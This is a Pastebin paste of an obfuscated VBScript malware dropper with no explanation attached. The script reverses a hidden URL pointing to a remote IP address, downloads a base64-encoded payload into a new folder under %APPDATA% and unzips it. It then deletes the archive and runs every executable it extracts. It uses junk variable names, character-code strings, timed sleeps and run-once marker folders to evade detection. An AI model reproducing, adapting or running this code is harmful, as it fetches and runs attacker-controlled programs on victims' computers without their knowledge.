SHARE
TWEET

alkaidagrl

carlosrj163 Feb 29th, 2020 152 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,vvwyAABBDFGGIKLLNOOQSSTVX,OBJzzBBCEEFHHJKKMOPPRS,objFeSO
  3. DZIP     = StrReverse("osi.1reganamrg/031.171.86.31//:ptth")
  4. Set OBJzzBBCEEFHHJKKMOPPRS = CreateObject( "WScript.Shell" )    
  5. vvwyAABBDFGGIKLLNOOQSSTVX = OBJzzBBCEEFHHJKKMOPPRS.ExpandEnvironmentStrings("%APPDATA%")
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = vvwyAABBDFGGIKLLNOOQSSTVX + "\nvgrlbs"
  9. MOOQQRRTVWWYaabdeegiijlnnoqqrttvwyyABBDFGGIJJLNNOQSSTVVWYaabddfggikllnooqsttvxxyAA
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. WScript.Sleep 160
  15. DVfhjkmoprsuuwxzBBCEFFHJJKMOOPRqrrtuwwyzBBD
  16. WScript.Sleep 2424
  17. WScript.Sleep 32303
  18. XCEEGIJLLMOQQRTVVWYYabddxxyABBDFGGIKL
  19. WScript.Sleep 32210
  20. DCuuvxzAACDDFHIIKMMNPPQSUUVXXZacceffhiikmmn
  21. WScript.Sleep 2424
  22. WScript.Sleep 124
  23. WScript.Sleep 124
  24. DCOQRTVVWYYZbddeggijllnooqrttvwyyABBDEGGIJJLNOOQSSTVWWYaa
  25. Function DCOQRTVVWYYZbddeggijllnooqrttvwyyABBDEGGIJJLNOOQSSTVWWYaa()
  26. Dim ClqtkmooprssuwxzzBCCEGLM,jrteghhjlmmqqrtuuw,jxthjllmoqqrtvwwyz,Coltacddggiklnnpqqstv
  27. Set ClqtkmooprssuwxzzBCCEGLM = WScript.CreateObject( "WScript.Shell" )
  28. WScript.Sleep 70
  29. Set jrteghhjlmmqqrtuuw = CreateObject( "Scripting.FileSystemObject" )
  30. WScript.Sleep 50
  31. WScript.Sleep 50
  32. Set jxthjllmoqqrtvwwyz = jrteghhjlmmqqrtuuw.GetFolder(PSTLM)
  33. WScript.Sleep 40
  34. WScript.Sleep 50
  35. Set Coltacddggiklnnpqqstv = jxthjllmoqqrtvwwyz.Files
  36. WScript.Sleep 60
  37. WScript.Sleep 50
  38. For Each Coltacddggiklnnpqqstv in Coltacddggiklnnpqqstv
  39. If UCase(jrteghhjlmmqqrtuuw.GetExtensionName(Coltacddggiklnnpqqstv.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  40. NMEXE = Coltacddggiklnnpqqstv.Name
  41. ClqtkmooprssuwxzzBCCEGLM.Exec(PSTLM & UCase(Chr(92)) & Coltacddggiklnnpqqstv.Name)
  42. WScript.Sleep 44
  43. End If
  44. Next
  45. End Function
  46. Function GTEK( myPassPhrase )
  47.     Dim i, arrCode( )
  48.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  49.     For i = 0 To UBound( arrCode )
  50.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  51.     Next
  52.     GTEK = arrCode
  53. End Function
  54. Function XCEEGIJLLMOQQRTVVWYYabddxxyABBDFGGIKL()
  55. DIM ClqtkmooprssuwxzzBCCEG,FilesInZip
  56. set ClqtkmooprssuwxzzBCCEG = CreateObject("Shell.Application")
  57. set FilesInZip=ClqtkmooprssuwxzzBCCEG.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  58. ClqtkmooprssuwxzzBCCEG.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  59. Set ClqtkmooprssuwxzzBCCEG = Nothing
  60. End Function
  61. Function DCuuvxzAACDDFHIIKMMNPPQSUUVXXZacceffhiikmmn()
  62. DIM jrteghhjlmmqqrtuuxsd
  63. Set jrteghhjlmmqqrtuuxsd = Createobject("Scripting.FileSystemObject")
  64. jrteghhjlmmqqrtuuxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  65. End Function
  66. Function tOwwwyAABBDEGGI( myFileIn, myFileOut, arrCode )
  67.     Dim i, jrteghhjlmmqqrtuu, ColtacddggiklnnpqqstvIn, ColtacddggiklnnpqqstvOut, objStreamIn
  68.     Const ForAppending       =  8
  69.     Const ForReading         =  1
  70.     Const ForWriting         =  2
  71.     Const TristateFalse      =  0
  72.     Const TristateMixed      = -2
  73.     Const TristateTrue       = -1
  74.     Const TristateUseDefault = -2
  75.     On Error Resume Next
  76.     If Not IsArray( arrCode ) Then
  77.         arrCode = Array( arrCode )
  78.     End If
  79.     For i = 0 To UBound( arrCode )
  80.         If Not IsNumeric( arrCode(i) ) Then
  81.  
  82.             Encode = 1032
  83.             Exit Function
  84.         End If
  85.         If arrCode(i) < 0 Or arrCode(i) > 255 Then
  86.  
  87.             Encode = 1031
  88.             Exit Function
  89.         End If
  90.     Next
  91.     Set jrteghhjlmmqqrtuu = CreateObject( "Scripting.FileSystemObject" )
  92.     If jrteghhjlmmqqrtuu.FileExists( myFileIn ) Then
  93.         Set ColtacddggiklnnpqqstvIn   = jrteghhjlmmqqrtuu.GetFile( myFileIn )
  94.         Set objStreamIn = ColtacddggiklnnpqqstvIn.OpenAsTextStream( ForReading, TriStateFalse )
  95.     Else        
  96.         Encode = 53      
  97.         objStreamIn.Close
  98.         Set objStreamIn = Nothing
  99.         Set ColtacddggiklnnpqqstvIn   = Nothing
  100.         Set jrteghhjlmmqqrtuu      = Nothing
  101.        
  102.         Exit Function
  103.     End If  
  104.     If jrteghhjlmmqqrtuu.FileExists( myFileOut ) Then
  105.         ' Error 58: File already exists
  106.         Encode = 58
  107.         ' Close input file and release objects
  108.         objStreamIn.Close
  109.         Set objStreamIn = Nothing
  110.         Set ColtacddggiklnnpqqstvIn   = Nothing
  111.         Set jrteghhjlmmqqrtuu      = Nothing
  112.         ' Abort
  113.         Exit Function
  114.     Else
  115.         Set ColtacddggiklnnpqqstvOut = jrteghhjlmmqqrtuu.CreateTextFile( myFileOut, True, False )
  116.     End If    
  117.     i = 0
  118.     Do Until objStreamIn.AtEndOfStream
  119.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  120.         ColtacddggiklnnpqqstvOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  121.     Loop  
  122.     ColtacddggiklnnpqqstvOut.Close
  123.     objStreamIn.Close
  124.     Set objStreamIn = Nothing
  125.     Set ColtacddggiklnnpqqstvIn   = Nothing
  126.     Set ColtacddggiklnnpqqstvOut  = Nothing
  127.     Set jrteghhjlmmqqrtuu      = Nothing    
  128.     Encode = Err.Number
  129.     Err.Clear
  130.     On Error Goto 0
  131. End Function
  132. Function MOOQQRRTVWWYaabdeegiijlnnoqqrttvwyyABBDFGGIJJLNNOQSSTVVWYaabddfggikllnooqsttvxxyAA()
  133. dim mqXFFRJUWm
  134. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  135. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  136. WScript.Quit()
  137. End If
  138. End Function
  139. Function DVfhjkmoprsuuwxzBBCEFFHJJKMOOPRqrrtuwwyzBBD()
  140. DIM req
  141. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  142. req.open "GET", DZIP, False
  143. req.send
  144. If req.Status = 200 Then
  145.  Dim oNode, BinaryStream
  146. Const adTypeBinary = 1
  147. Const adSaveCreateOverWrite = 2
  148. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  149. oNode.dataType = "bin.base64"
  150. oNode.text = req.responseText
  151. Set BinaryStream = CreateObject("ADODB.Stream")
  152. BinaryStream.Type = adTypeBinary
  153. BinaryStream.Open
  154. BinaryStream.Write oNode.nodeTypedValue
  155. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  156. End if
  157. End Function
  158.                      
  159.  
  160. Function TEMMORRE()
  161. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  162. IF objFeSO.FolderExists(vvwyAABBDFGGIKLLNOOQSSTVX + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  163. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  164. objFeSO.CreateFolder STPASTALOKA
  165. objFeSO.CreateFolder OBJzzBBCEEFHHJKKMOPPRS.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  166. END IF
  167. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top